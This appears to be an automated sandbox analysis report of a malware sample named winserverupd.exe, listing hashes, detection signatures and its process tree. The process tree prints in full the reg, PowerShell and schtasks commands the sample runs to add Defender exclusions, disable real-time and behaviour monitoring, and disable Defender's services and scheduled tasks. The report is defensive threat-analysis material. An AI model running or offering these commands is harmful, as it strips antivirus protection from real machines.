Overview
overview
10Static
static
3Narsil.exe
windows7-x64
10Narsil.exe
windows10-1703-x64
10Narsil.exe
windows10-2004-x64
10Narsil.exe
windows11-21h2-x64
SurrogateS...vc.exe
windows7-x64
10SurrogateS...vc.exe
windows10-1703-x64
10SurrogateS...vc.exe
windows10-2004-x64
10SurrogateS...vc.exe
windows11-21h2-x64
10winserverupd.exe
windows7-x64
10winserverupd.exe
windows10-1703-x64
10winserverupd.exe
windows10-2004-x64
10winserverupd.exe
windows11-21h2-x64
10Analysis
- max time kernel
118s - max time network
125s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system - submitted
18/03/2024, 15:12
Static task
static1
Behavioral task
behavioral1
Sample
Narsil.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Narsil.exe
Resource
win10-20240221-en
Behavioral task
behavioral3
Sample
Narsil.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral4
Sample
Narsil.exe
Resource
win11-20240221-en
Behavioral task
behavioral5
Sample
SurrogateServerIntoSvc.exe
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
SurrogateServerIntoSvc.exe
Resource
win10-20240221-en
Behavioral task
behavioral7
Sample
SurrogateServerIntoSvc.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral8
Sample
SurrogateServerIntoSvc.exe
Resource
win11-20240221-en
Behavioral task
behavioral9
Sample
winserverupd.exe
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
winserverupd.exe
Resource
win10-20240221-en
Behavioral task
behavioral11
Sample
winserverupd.exe
Resource
win10v2004-20240226-en
General
- Target winserverupd.exe
- Size 91KB
- Sample240318-slmnvscc5w
- SHA256 c06da1d7ce6843074ae3a964dc8aa862151f2196c0e15964d3d9959a44ba89f8
- MD5 607acc5a6b670bd144bf3897cda6b233
- SHA1 24a2fc93216adb3543ee555473b2f61f333384d2
- SHA512 75bd3c2fe2a6b96586e0e1ecf5d282d55f71fb9891961ca1dd6c6be90eaa9a196fd62c8343abfdb039e384895a593f2a01c725451c580980f238c40d764b4643
- SSDEEP 1536:r7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfLx4fmSxL2MO2:nq6+ouCpk2mpcWJ0r+QNTBfLyfmSBR
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral9/files/0x0006000000018baf-1.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" reg.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 1576 powershell.exe 2612 powershell.exe 2420 powershell.exe 1976 powershell.exe 1476 powershell.exe 1952 powershell.exe 796 powershell.exe 2220 powershell.exe 1564 powershell.exe 432 powershell.exe 1768 powershell.exe 628 powershell.exe 2232 powershell.exe 1040 powershell.exe 2592 powershell.exe 2724 powershell.exe 2416 powershell.exe - Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 1576 powershell.exe Token: SeDebugPrivilege 2612 powershell.exe Token: SeDebugPrivilege 2420 powershell.exe Token: SeDebugPrivilege 1976 powershell.exe Token: SeDebugPrivilege 1476 powershell.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeDebugPrivilege 796 powershell.exe Token: SeDebugPrivilege 2220 powershell.exe Token: SeDebugPrivilege 1564 powershell.exe Token: SeDebugPrivilege 432 powershell.exe Token: SeDebugPrivilege 1768 powershell.exe Token: SeDebugPrivilege 628 powershell.exe Token: SeDebugPrivilege 2232 powershell.exe Token: SeDebugPrivilege 1040 powershell.exe Token: SeDebugPrivilege 2592 powershell.exe Token: SeDebugPrivilege 2724 powershell.exe Token: SeDebugPrivilege 2416 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2316 wrote to memory of 1712 2316 winserverupd.exe 28 PID 2316 wrote to memory of 1712 2316 winserverupd.exe 28 PID 2316 wrote to memory of 1712 2316 winserverupd.exe 28 PID 2316 wrote to memory of 1712 2316 winserverupd.exe 28 PID 1712 wrote to memory of 1576 1712 cmd.exe 30 PID 1712 wrote to memory of 1576 1712 cmd.exe 30 PID 1712 wrote to memory of 1576 1712 cmd.exe 30 PID 1712 wrote to memory of 2612 1712 cmd.exe 31 PID 1712 wrote to memory of 2612 1712 cmd.exe 31 PID 1712 wrote to memory of 2612 1712 cmd.exe 31 PID 1712 wrote to memory of 2420 1712 cmd.exe 32 PID 1712 wrote to memory of 2420 1712 cmd.exe 32 PID 1712 wrote to memory of 2420 1712 cmd.exe 32 PID 1712 wrote to memory of 1976 1712 cmd.exe 33 PID 1712 wrote to memory of 1976 1712 cmd.exe 33 PID 1712 wrote to memory of 1976 1712 cmd.exe 33 PID 1712 wrote to memory of 1476 1712 cmd.exe 34 PID 1712 wrote to memory of 1476 1712 cmd.exe 34 PID 1712 wrote to memory of 1476 1712 cmd.exe 34 PID 1712 wrote to memory of 2972 1712 cmd.exe 35 PID 1712 wrote to memory of 2972 1712 cmd.exe 35 PID 1712 wrote to memory of 2972 1712 cmd.exe 35 PID 1712 wrote to memory of 2028 1712 cmd.exe 36 PID 1712 wrote to memory of 2028 1712 cmd.exe 36 PID 1712 wrote to memory of 2028 1712 cmd.exe 36 PID 1712 wrote to memory of 744 1712 cmd.exe 37 PID 1712 wrote to memory of 744 1712 cmd.exe 37 PID 1712 wrote to memory of 744 1712 cmd.exe 37 PID 1712 wrote to memory of 1036 1712 cmd.exe 38 PID 1712 wrote to memory of 1036 1712 cmd.exe 38 PID 1712 wrote to memory of 1036 1712 cmd.exe 38 PID 1712 wrote to memory of 2464 1712 cmd.exe 39 PID 1712 wrote to memory of 2464 1712 cmd.exe 39 PID 1712 wrote to memory of 2464 1712 cmd.exe 39 PID 1712 wrote to memory of 2084 1712 cmd.exe 40 PID 1712 wrote to memory of 2084 1712 cmd.exe 40 PID 1712 wrote to memory of 2084 1712 cmd.exe 40 PID 1712 wrote to memory of 1792 1712 cmd.exe 41 PID 1712 wrote to memory of 1792 1712 cmd.exe 41 PID 1712 wrote to memory of 1792 1712 cmd.exe 41 PID 1712 wrote to memory of 1860 1712 cmd.exe 42 PID 1712 wrote to memory of 1860 1712 cmd.exe 42 PID 1712 wrote to memory of 1860 1712 cmd.exe 42 PID 1712 wrote to memory of 2136 1712 cmd.exe 43 PID 1712 wrote to memory of 2136 1712 cmd.exe 43 PID 1712 wrote to memory of 2136 1712 cmd.exe 43 PID 1712 wrote to memory of 2016 1712 cmd.exe 44 PID 1712 wrote to memory of 2016 1712 cmd.exe 44 PID 1712 wrote to memory of 2016 1712 cmd.exe 44 PID 1712 wrote to memory of 2032 1712 cmd.exe 45 PID 1712 wrote to memory of 2032 1712 cmd.exe 45 PID 1712 wrote to memory of 2032 1712 cmd.exe 45 PID 1712 wrote to memory of 2144 1712 cmd.exe 46 PID 1712 wrote to memory of 2144 1712 cmd.exe 46 PID 1712 wrote to memory of 2144 1712 cmd.exe 46 PID 1712 wrote to memory of 2556 1712 cmd.exe 47 PID 1712 wrote to memory of 2556 1712 cmd.exe 47 PID 1712 wrote to memory of 2556 1712 cmd.exe 47 PID 1712 wrote to memory of 1592 1712 cmd.exe 48 PID 1712 wrote to memory of 1592 1712 cmd.exe 48 PID 1712 wrote to memory of 1592 1712 cmd.exe 48 PID 1712 wrote to memory of 328 1712 cmd.exe 49 PID 1712 wrote to memory of 328 1712 cmd.exe 49 PID 1712 wrote to memory of 328 1712 cmd.exe 49 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7040.tmp\7041.tmp\7042.bat C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\Admin\Appdata\Local" -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2612
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2420
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\Admin\Appdata\Local" -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1976
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionProcess "MsBuild.exe" -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476
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C:\Windows\system32\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f3⤵PID:2972
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C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f3⤵PID:2028
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f3⤵PID:744
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f3⤵PID:1036
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C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2464
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C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2084
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C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1792
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C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f3⤵PID:1860
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C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f3⤵PID:2136
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C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f3⤵PID:2016
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C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f3⤵PID:2032
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C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f3⤵PID:2144
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C:\Windows\system32\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f3⤵PID:2556
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C:\Windows\system32\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f3⤵PID:1592
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C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f3⤵PID:328
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C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f3⤵PID:1732
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C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f3⤵PID:376
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C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f3⤵PID:1336
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C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f3⤵
- Modifies security service
PID:1032
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -PUAProtection disable" -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:796
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1564
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:432
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ScanScheduleDay 8 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1768
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:628
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableCatchupQuickScan 1 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2232
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableScriptScanning 1 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1040
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ScanAvgCPULoadFactor 5 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2592
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ServiceHealthReportInterval 0 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2724
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -UnknownThreatDefaultAction 6 -Force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2416
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C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable3⤵PID:1996
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C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable3⤵PID:2484
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C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable3⤵PID:580
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C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable3⤵PID:524
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C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable3⤵PID:3056
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\7040.tmp\7041.tmp\7042.bat
- Size 3KB
- SHA256 582e18cb3c8b2c06080cbb7df73ef27128654a4f201476f457a787cae6b068a4
- MD5 ad8b6610172ff7b78c52f9ca37f38087
- SHA1 9e672aa0385998b41de0eaee280af9372f3b299c
- SHA512 2dd57fab8f54736dfe975b7c5c83de1c864e1f3fe498045f566f58da059be311ca8194c6634df447fbcec9382e3b67c70cc9fbc6a29076accdbcc1c0de829658
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8NQTVY677PCNC1JXRHJS.temp
- Size 7KB
- SHA256 79319be08d40ac59c0ba6d390651305493d85d58a2ac73d4d3c99d4d4ed90a35
- MD5 745da8331e565fec19e43ad462d9d878
- SHA1 45baaac56644f116efded5c3f9f7527b1955048b
- SHA512 72f5eb8abad27a39a270a796d070d040b396dcc69f3f49cdbd434a0f3bd4c4616d60324240933dccdb2d762b2a16ffa057c21ece5b136ef61719e901d1f4cfca
- SSDEEP 96:4RqCoOM8VnqvsqvJCwoSRqCoOM8VnqvsEHyqvJCwor0a1dhQHKG7VwXlUVF:wDxUoODxAHnor0ADG7Vw2
- MD5 SHA1 SHA512 SSDEEP